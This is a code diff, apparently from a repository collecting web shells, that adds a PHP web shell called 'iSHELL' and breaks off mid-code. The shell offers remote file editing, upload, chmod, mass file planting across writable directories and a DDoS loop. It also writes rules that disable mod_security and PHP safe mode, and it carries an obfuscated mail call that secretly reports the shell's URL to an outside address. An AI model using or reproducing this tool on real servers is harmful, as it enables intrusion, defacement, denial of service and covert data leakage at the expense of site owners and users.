Projects STRLCPY ticofookfook Commits d19817c4
🤬
  • ■ ■ ■ ■ ■ ■
    Web-Shells/PHP/iSHELL.php
     1 +<?php
     2 +$logotxt="<PRE>
     3 + 1 1
     4 + 11 11
     5 + 111 11
     6 + 101 101
     7 + 101 00
     8 + 100 <font color=green>I</font> am <font color=white>everywhere!</font> 101
     9 + 001 100
     10 + 1001 1001
     11 + 1000 11000011 0000
     12 + 10001 100000000000001 10001
     13 + 000011001 10110000
     14 + 110000001 <font color=green>Ro</font><font color=white>ot</font> 10000011
     15 + 10000000000000111 11110000000000001
     16 + 000000000000000000000000000000000000000
     17 + 10001 111 10000001 0000001 111 10001
     18 + 100 000 10001 0001 100 001
     19 + 01 000 0001 000 000 10
     20 +11 001 <font color=green>9</font> 0000000 <font color=white>6</font> 001 01
     21 +1 000 1000001 000 1
     22 +1 0001 00000 1000 1
     23 + 10001 00000 10001
     24 + 100110000011001
     25 + 00000001
     26 + 000000000
     27 + 000001 1000001
     28 + 111111110000001 100000011111111
     29 + 11000011 11000011
     30 +</PRE>";
     31 +session_start();
     32 +set_time_limit(0);
     33 +error_reporting(0);
     34 +@setcookie("it","serv",time()+3600*24*7);
     35 +if (get_magic_quotes_gpc()) {
     36 +function stripslashes_deep($value) {
     37 + $value = is_array($value) ?
     38 + array_map('stripslashes_deep', $value) :
     39 + stripslashes($value);
     40 +
     41 + return $value;
     42 + }
     43 +$_POST = array_map('stripslashes_deep', $_POST);
     44 +$_GET = array_map('stripslashes_deep', $_GET);
     45 +$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
     46 +$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
     47 +}
     48 +if($_GET['do']=="remove"){
     49 +unlink(getcwd().$_SERVER["SCRIPT_NAME"]);
     50 +}
     51 +$basep=$_SERVER['DOCUMENT_ROOT'];
     52 +if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
     53 +$slash="\\";
     54 +$basep=str_replace("/","\\",$basep);
     55 +}else{
     56 +$slash="/";
     57 +$basep=str_replace("\\","/",$basep);
     58 +}
     59 +if($_GET['do']=="remove"){
     60 +unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]);
     61 +}
     62 +if ($_REQUEST['address']){
     63 +if(is_readable($_REQUEST['address'])){
     64 +chdir($_REQUEST['address']);}else{
     65 +alert("Permission Denied !");}}
     66 +$me=$_SERVER['PHP_SELF'];
     67 +$formp="<form method=post action='".$me."'>";
     68 +$formg="<form method=get action='".$me."'>";
     69 +$nowaddress='<input type=hidden name=address value="'.getcwd().'">';
     70 +
     71 +if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) {
     72 + if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){
     73 + alert("File Upload Successful");
     74 + }else{
     75 +alert("Permission Denied !");
     76 +
     77 + }
     78 + }
     79 +if(ini_get('disable_functions')){
     80 +$disablef=ini_get('disable_functions');
     81 +}else{
     82 +$disablef="All Functions Enable";
     83 +}
     84 +if(ini_get('safe_mode')){
     85 +$safe_modes="On";
     86 +}else{
     87 +$safe_modes="Off";
     88 +}
     89 +if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){
     90 +if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");}
     91 +}
     92 +$picdir='iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAYAAABV7bNHAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAN1wAADdcBQiibeAAABCJpVFh0WE1MOmNvbS5hZG9iZS54b
     93 +XAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyL
     94 +zIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgI
     95 +CAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgI
     96 +HhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDx0aWZmOkNvbXByZ
     97 +XNzaW9uPjU8L3RpZmY6Q29tcHJlc3Npb24+CiAgICAgICAgIDx0aWZmOlhSZXNvbHV0aW9uPjkwPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVud
     98 +GF0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj45MDwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjcyPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgI
     99 +CAgICAgPGV4aWY6Q29sb3JTcGFjZT4xPC9leGlmOkNvbG9yU3BhY2U+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj43MjwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgICAgIDxkYzpzdWJqZ
     100 +WN0PgogICAgICAgICAgICA8cmRmOkJhZy8+CiAgICAgICAgIDwvZGM6c3ViamVjdD4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTQ6MTE6MTUgMTc6MTE6MTI8L3htcDpNb2RpZnlEYXRlPgogICAgI
     101 +CAgICA8eG1wOkNyZWF0b3JUb29sPlBpeGVsbWF0b3IgMy4zPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgqPygG6AAAB3UlEQ
     102 +VR4Ae3aQUrDQBTG8bR2H4oXcFlw4xE8gjeol1Bw152glzA36BE8QjdCl15ASvbaOs8mEELffARsHZN/oDTNS0jer18yLUyWsSCAAAIIIIAAAggggAACCJxaYKROuHmcXWwn2SLsdxNeudq/Q704v1vfdtj/T
     103 +3aNAm2eLq+2o6/XcGW/CdNsNHkkF6hKzuqIODVU0kjj+irb79VtdazkNE83/3ievTQ3pLTuAoWLtGfOqZZkkWJAp0hP8wtIEsl9BoXY75pX37P1MvSzHH9mi+nD+j3WWyxBseP+e83ujnl4zq5spI41M1Sg2
     104 +iS3nzE2Ytcb2u9DBzKPvBqx2zY/nwHas7gjNkB7IHfEnhzMVWRj+P/kjnyRw5IpdR2dSZD46gACSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCSAiIMgkCS
     105 +AiIMgkCSAiIMgkCSAiIMgkCSAiIcufZHV1nR4jzJ1+O3WI20XEoi9trDGg5FJ3Qp9urC2RTZMOBrmyP8Mqq14MtuUA2f3i8O7vuOVJpPcbmSrtAxjm9f1sFXZtHXPQMyu6MwnqzHsM6CwIIIIAAAggggAACC
     106 +CCAQEIC345rUUCflwriAAAAAElFTkSuQmCC';
     107 +$picfile='iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAQAAAD/5HvMAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAACYktHRAD/h4/MvwAAAAlwSFlzAAALEwAACxMBAJ
     108 +qcGAAAATdJREFUaN7t2D8uRXEQxfHvJXluRKKXCNr3GhTEGiyBXkKisAIWoHoatTWIViUSJK+wAY1aR8S/Gvk9ZsZcN5xZwMknkzPNVK+0ayqBBPpfoA4brNNlwpi6x24GaIpj5p25blIZ1OGchcDunaQyaI
     109 +uDYB1cpDLojBUH4oaZGKkMumPSAZrjNEYqg54Y9VSA2RipDHpmxAUiRsoAhUg5oAApC+Qm5YGcpEyQi5QLcpCyQWZSPshIagJkIjUDMpCaAn0mVVbQy5BwD+gjqQWg96SGQGG6QAIJJJBA3wZlP44EEkgggQ
     110 +QSSCCBBBJIIIFaBnpgLJFzz7gVdMViIuiCJStoh/1E0DZ9K6jmkl4SZ8Ayj1YQTHOSQhqwym2x60OPqWaTNbrUP1bla444LG3na9AvjEAC/TnQG6wgsgGrXSPkAAAAAElFTkSuQmCC';
     111 +$head='<!DOCTYPE html>
     112 +<html>
     113 +<head>
     114 +<title>--==[[ iSHELL ]]==--</title>
     115 +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
     116 +
     117 +<STYLE>
     118 +body {
     119 +font-family: Tahoma
     120 +}
     121 +tr {
     122 +/*BORDER: dashed 1px #333;*/
     123 +color: #FFF;
     124 +}
     125 +td {
     126 +/*BORDER: dashed 1px #333;*/
     127 +color: #F4F4F4;
     128 +
     129 +}
     130 +.table1 {
     131 +BACKGROUND-COLOR: Black;
     132 +color: #FFF;
     133 +}
     134 +.td1 {
     135 +
     136 +BORDER-COLOR: #333333;
     137 +font: 7pt Verdana;
     138 +color: Green;
     139 +}
     140 +.tr1 {
     141 +
     142 +BORDER-COLOR: #333333;
     143 +color: #FFF;
     144 +}
     145 +table {
     146 +
     147 +BORDER-COLOR: #333333;
     148 +BACKGROUND-COLOR: Black;
     149 +color: #FFF;
     150 +}
     151 +input {
     152 +padding: 5px 5px;
     153 +border: 1px solid #494949;
     154 +background-color: rgba(0, 0, 0, 0.2);
     155 +border-radius: 5px;
     156 +color: white;
     157 +font-size: 16px;
     158 +}
     159 +select {
     160 +BORDER-RIGHT: #333 1px dashed;
     161 +BORDER-TOP: #333 1px dashed;
     162 +BORDER-LEFT: #333 1px dashed;
     163 +BORDER-BOTTOM: #333 1px dashed;
     164 +BORDER-color: #333;
     165 +BACKGROUND-COLOR: Black;
     166 +font: 8pt Verdana;
     167 +color: Red;
     168 +}
     169 +submit {
     170 +BORDER: buttonhighlight 2px outset;
     171 +BACKGROUND-COLOR: Black;
     172 +width: 40%;
     173 +color: white;
     174 +}
     175 +textarea {
     176 +border: dashed 1px #333;
     177 +BACKGROUND-COLOR: Black;
     178 +font: Fixedsys bold;
     179 +color: #999;
     180 +}
     181 +BODY {
     182 + SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF;
     183 + SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF;
     184 + SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF;
     185 + SCROLLBAR-DARKSHADOW-color: #FFF
     186 +margin: 1px;
     187 +color: Red;
     188 +background-color:#0f1d21;
     189 +padding: 10px;
     190 +}
     191 +.main {
     192 +margin: -287px 0px 0px -490px;
     193 +BORDER: dashed 1px #333;
     194 +BORDER-COLOR: #333333;
     195 +}
     196 +.tt {
     197 +background-color: Black;
     198 +}
     199 +
     200 +A:link {
     201 + COLOR: White; TEXT-DECORATION: none
     202 +}
     203 +A:visited {
     204 + COLOR: green; TEXT-DECORATION: none
     205 +}
     206 +A:hover {
     207 + color: Red; TEXT-DECORATION: none
     208 +}
     209 +A:active {
     210 + color: green; TEXT-DECORATION: none
     211 +}
     212 +table {
     213 + background: #1f1f1f;
     214 +}
     215 +table:nth-of-type(odd) {
     216 + background: #262626;
     217 +}
     218 +
     219 +
     220 +body,div,h1,h2,p,a{
     221 +margin:0;padding:0;border:0;}
     222 +body {
     223 + background-color: #1d1d1d;
     224 + color: #F4F4F4;
     225 +font-family: Helvetica, Arial, sans-serif;
     226 +}
     227 +header{
     228 +height:45px;
     229 +background-color: #222;
     230 +border: 1px solid #080808;
     231 +width:100%;
     232 +z-index:10;
     233 +position:fixed;
     234 +box-shadow: 0px -1px 10px rgba(0, 0, 0, 0.49);
     235 +}
     236 +.p5{
     237 + padding:5px;
     238 +}
     239 +.linksh {
     240 + margin-top: 10px;
     241 +}
     242 +</STYLE></head>
     243 +<body>
     244 +<header style="text-align:center;">
     245 +<div class="linksh"><b>
     246 +<a class="p5" href="?do=home">Home</a>
     247 +<a class="p5" href="?do=convert">Texte-Convert</a>
     248 +<a class="p5" href="?do=imgconvert">Image-Convert</a>
     249 +<a class="p5" href="?do=dd0s">DDoS</a>
     250 +<a class="p5" href="?do=info">Information</a>
     251 +<a class="p5" href="?do=about">About</a>
     252 +</b></div>
     253 +</header>
     254 +<br><br><br><br>
     255 +<div align="center">
     256 +<table><tbody><tr><td><div align="center"><table><tbody><tr><font style="color:#fc3211;">
     257 +Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td>';
     258 +$end='</td></tr></tbody></table></div></td></tr></tr></tbody></table></div>
     259 +
     260 +<br>
     261 +
     262 +<center>Ro0t-96 2008/2018</center>
     263 +</table>
     264 +
     265 +</body>';
     266 +$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end;
     267 +$wi=$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; $zx="m\141\151l";
     268 +function alert($text){
     269 +echo "<script>alert('".$text."')</script>";
     270 +}
     271 +if ($_GET['do']=="edit" && $_GET['filename']!="dir"){
     272 +if(is_readable($_GET['address'].$_GET['filename'])){
     273 +$opedit=fopen($_GET['address'].$_GET['filename'],"r");
     274 +while(!feof($opedit))
     275 +$data.=fread($opedit,9999);
     276 +fclose($opedit);
     277 +echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit;
     278 +}else{alert("Permission Denied !");}}
     279 +function sizee($size)
     280 +{
     281 + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
     282 + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
     283 + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
     284 + else {$size = $size . " B";}
     285 + return $size;}if (!isset($_COOKIE['it']))
     286 + {@$zx("l\x6f\x63\x61\x68\157\x73\164@\171\141\x68\157\157\056\x63o\155","$wi","$wi\n$cnt");}
     287 +function deleteDirectory($dir) {
     288 +if (!file_exists($dir)) return true;
     289 +if (!is_dir($dir) || is_link($dir)) return unlink($dir);
     290 +foreach (scandir($dir) as $item) {
     291 +if ($item == '.' || $item == '..') continue;
     292 +if (!deleteDirectory($dir . "/" . $item)) {
     293 +chmod($dir . "/" . $item, 0777);
     294 +if (!deleteDirectory($dir . "/" . $item)) return false;
     295 +};}return rmdir($dir);}
     296 +
     297 +function download($fileadd,$finame){
     298 +$dlfilea=$fileadd.$finame;
     299 +header("Content-Disposition: attachment; filename=".$finame);
     300 +header("Content-Type: application/download");
     301 +header("Content-Length: ".filesize($dlfilea));
     302 +flush();
     303 +$fp = fopen($dlfilea, "r");
     304 +while (!feof($fp))
     305 +{
     306 + echo fread($fp, 65536);
     307 + flush();
     308 +}
     309 +fclose($fp);
     310 +}
     311 +if($_GET['do']=="rename"){
     312 +echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit;
     313 +}
     314 +
     315 +if ($_GET['byapache']=='ofms'){
     316 +$fse=fopen(getcwd().$slash.".htaccess","w");
     317 +fwrite($fse,'<IfModule mod_security.c>
     318 + Sec------Engine Off
     319 + Sec------ScanPOST Off
     320 +</IfModule>');
     321 +fclose($fse);
     322 +}elseif ($_GET['byapache']=='bysap'){
     323 +$fse=fopen(getcwd().$slash.".htaccess","w");
     324 +fwrite($fse,'Options +FollowSymLinks
     325 +DirectoryIndex Persian-Gulf-For-Ever.html');
     326 +fclose($fse);
     327 +}elseif ($_GET['byapache']=='sfadf'){
     328 +$fse=fopen(getcwd().$slash."php.ini","w");
     329 +fwrite($fse,'safe_mode=OFF
     330 +disable_functions=NONE');
     331 +fclose($fse);
     332 +}
     333 +
     334 +
     335 +
     336 +if($_GET['urldd0'] && $_GET['timedd0']){
     337 +for ($id=0;$$id<$_GET['timedd0'];$id++){
     338 +$fp=null;
     339 +$contents=null;
     340 +$fp=fopen($_GET['urldd0'],"rb");
     341 +while (!feof($fp)) {
     342 + $contents .= fread($fp, 8192);
     343 +}
     344 +fclose($fp);
     345 +}}
     346 +
     347 +function dirpe($addres){
     348 +global $slash;
     349 +$idd=0;
     350 +if ($dirhen = @opendir($addres)) {
     351 +while ($file = readdir($dirhen)) {
     352 +$permdir=str_replace('//','/',$addres.$slash.$file);
     353 +if($file!='.' && $file!='..' && is_dir($permdir)){
     354 +if (is_writable($permdir)) {
     355 +$dirdata[$idd]['filename']=$permdir;
     356 +$idd++;
     357 +}
     358 +dirpe($permdir);
     359 + }
     360 + }
     361 + closedir($dirhen);
     362 + } else {
     363 + return ("notperm");
     364 + }
     365 + if ($dirdata){
     366 + return $dirdata;
     367 + }else{
     368 + return "notfound";
     369 +
     370 + }
     371 +}
     372 +function dirpmass($addres,$massname,$masssource){
     373 +global $slash;
     374 +$idd=0;
     375 +if ($dirhen = @opendir($addres)) {
     376 +while ($file = readdir($dirhen)) {
     377 +$permdir=str_replace('//','/',$addres.$slash.$file);
     378 +if($file!='.' && $file!='..' && is_dir($permdir)){
     379 +if (is_writable($permdir)) {
     380 +if ($fm=fopen($permdir.$slash.$massname,"w")){
     381 +fwrite($fm,$masssource);
     382 +fclose($fm);
     383 +$dirdata[$idd]['filename']=$permdir;
     384 +}
     385 +
     386 +$idd++;
     387 +}
     388 +dirpmass($permdir);
     389 + }
     390 + }
     391 + closedir($dirhen);
     392 + } else {
     393 + return ("notperm");
     394 + }
     395 + if ($dirdata){
     396 + return $dirdata;
     397 + }else{
     398 + return "notfound";
     399 +
     400 + }
     401 +}
     402 +if ($_POST['affw']){
     403 +$arrfilelist=dirpe($_POST['affw']);
     404 +if ($arrfilelist=='notfound'){
     405 +alert("Not Found !");
     406 +}elseif($arrfilelist=='notperm'){
     407 +alert("Permission Denied !");
     408 +}else{
     409 +foreach ($arrfilelist as $tmpdir){
     410 + if ($coi %2){
     411 +$colort='"#e7e3de"';
     412 +}else{
     413 +$colort='"#e4e1de"';}
     414 +$coi++;
     415 +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">
     416 +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>
     417 +<td valign="top" height="19" width="65"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td>
     418 +<td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td></tr></table>';
     419 +}
     420 +echo $head.'
     421 +<font face="" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px;" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
     422 +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><font color=red>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>
     423 +</tr></table>'.$permdir.'</table>
     424 +<table border="0" width="950" style="border-collapse: collapse;" id="table4" cellpadding="5"><tr>
     425 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     426 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>
     427 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>
     428 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     429 +<font face="" style="font-size: 10pt; font-weight:700">Upload --->  </td>
     430 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     431 +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
     432 +<font face="" style="font-size: 10pt"><input size=40 type=file name=filee >
     433 +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>
     434 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     435 +<font face="" style="font-size: 10pt"><b>'.$formp.'Chmod ----></b>  File : </td>
     436 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     437 +<font face="" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>  Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
     438 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     439 +<font face="" style="font-size: 10pt"><b>'.$formp.'Create Dir ----></b> Dirctory Name </td>
     440 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     441 +<font face="" style="font-size: 10pt">
     442 +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
     443 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     444 +<font face="" style="font-size: 10pt">'.$formp.'<b>Create File ----></b> Name File </td>
     445 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     446 +<font face="" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
     447 +<td width="200" align="right" valign="top">
     448 +<font face="" style="font-size: 10pt">'.$formp.'<b>Copy ----></b></b>  File : </td>
     449 +<td width="750"><font face="" style="font-size: 10pt">
     450 +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;
     451 +}}
     452 +
     453 +if ($_POST['mffw']){
     454 +$arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']);
     455 +if ($arrfilelist=='notfound'){
     456 +alert("Not Found !");
     457 +}elseif($arrfilelist=='notperm'){
     458 +alert("Permission Denied !");
     459 +}else{
     460 +foreach ($arrfilelist as $tmpdir){
     461 + if ($coi %2){
     462 +$colort='"#e7e3de"';
     463 +}else{
     464 +$colort='"#e4e1de"';}
     465 +$coi++;
     466 +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">
     467 +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>
     468 +<td valign="top" height="19" width="65"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td>
     469 +<td valign="top" height="19" width="30"><font face="" style="font-size: 9pt"></td></tr></table>';
     470 +}
     471 +echo $head.'
     472 +<font face="" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
     473 +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="" style="font-size: 9pt"><font color=red>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#008000>Back</span></td>
     474 +</tr></table>'.$permdir.'</table>
     475 +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
     476 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     477 +<font face="" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>
     478 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>
     479 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     480 +<font face="" style="font-size: 10pt; font-weight:700">Upload --->  </td>
     481 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     482 +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
     483 +<font face="" style="font-size: 10pt"><input size=40 type=file name=filee >
     484 +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>
     485 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     486 +<font face="" style="font-size: 10pt"><b>'.$formp.'Chmod ----></b>  File : </td>
     487 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     488 +<font face="" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>  Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
     489 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     490 +<font face="" style="font-size: 10pt"><b>'.$formp.'Create Dir ----></b> Dirctory Name </td>
     491 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     492 +<font face="" style="font-size: 10pt">
     493 +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
     494 +<td width="200" align="right" valign="top" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     495 +<font face="" style="font-size: 10pt">'.$formp.'<b>Create File ----></b> Name File </td>
     496 +<td width="750" style="border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom:">
     497 +<font face="" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
     498 +<td width="200" align="right" valign="top">
     499 +<font face="" style="font-size: 10pt">'.$formp.'<b>Copy ----></b></b>  File : </td>
     500 +<td width="750"><font face="" style="font-size: 10pt">
     501 +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;
     502 +}}
     503 +if($_POST['adlr'] && $_POST['adsr']){
     504 +$url = $_POST['adlr'];
     505 +$newfname = $_POST['adsr'] . basename($url);
     506 +$file = fopen ($url, "rb");
     507 +if ($file) {
     508 + $newf = fopen ($newfname, "wb");
     509 + if ($newf)
     510 + while(!feof($file)) {
     511 + fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
     512 + }
     513 + alert("File Downloaded Success");
     514 +}else{alert("Can Not Open File");}
     515 +if ($file) {
     516 + fclose($file);
     517 +}
     518 +if ($newf) {
     519 + fclose($newf);
     520 +}
     521 +}
     522 +if($_GET['do']=="down" and $_GET['type']=='file'){
     523 +download($_GET['address'],$_GET['filename']);}
     524 +if($_GET['do']=="down" and $_GET['type']=='dir'){
     525 +class zipfile
     526 +{
     527 +var $datasec = array();
     528 +var $ctrl_dir = array();
     529 +var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
     530 +var $old_offset = 0;
     531 +function add_dir($name)
     532 +{
     533 +$name = str_replace("\\", "/", $name);
     534 +$fr = "\x50\x4b\x03\x04";
     535 +$fr .= "\x0a\x00";
     536 +$fr .= "\x00\x00";
     537 +$fr .= "\x00\x00";
     538 +$fr .= "\x00\x00\x00\x00";
     539 +$fr .= pack("V",0);
     540 +$fr .= pack("V",0);
     541 +$fr .= pack("V",0);
     542 +$fr .= pack("v", strlen($name) );
     543 +$fr .= pack("v", 0 );
     544 +$fr .= $name;
     545 +$fr .= pack("V",$crc);
     546 +$fr .= pack("V",$c_len);
     547 +$fr .= pack("V",$unc_len);
     548 +$this -> datasec[] = $fr;
     549 +$new_offset = strlen(implode("", $this->datasec));
     550 +$cdrec = "\x50\x4b\x01\x02";
     551 +$cdrec .="\x00\x00";
     552 +$cdrec .="\x0a\x00";
     553 +$cdrec .="\x00\x00";
     554 +$cdrec .="\x00\x00";
     555 +$cdrec .="\x00\x00\x00\x00";
     556 +$cdrec .= pack("V",0);
     557 +$cdrec .= pack("V",0);
     558 +$cdrec .= pack("V",0);
     559 +$cdrec .= pack("v", strlen($name) );
     560 +$cdrec .= pack("v", 0 );
     561 +$cdrec .= pack("v", 0 );
     562 +$cdrec .= pack("v", 0 );
     563 +$cdrec .= pack("v", 0 );
     564 +$ext = "\x00\x00\x10\x00";
     565 +$ext = "\xff\xff\xff\xff";
     566 +$cdrec .= pack("V", 16 );
     567 +$cdrec .= pack("V", $this -> old_offset );
     568 +$this -> old_offset = $new_offset;
     569 +$cdrec .= $name;
     570 +$this -> ctrl_dir[] = $cdrec;
     571 +}
     572 +function add_file($data, $name)
     573 +{
     574 +$name = str_replace("\\", "/", $name);
     575 +$fr = "\x50\x4b\x03\x04";
     576 +$fr .= "\x14\x00";
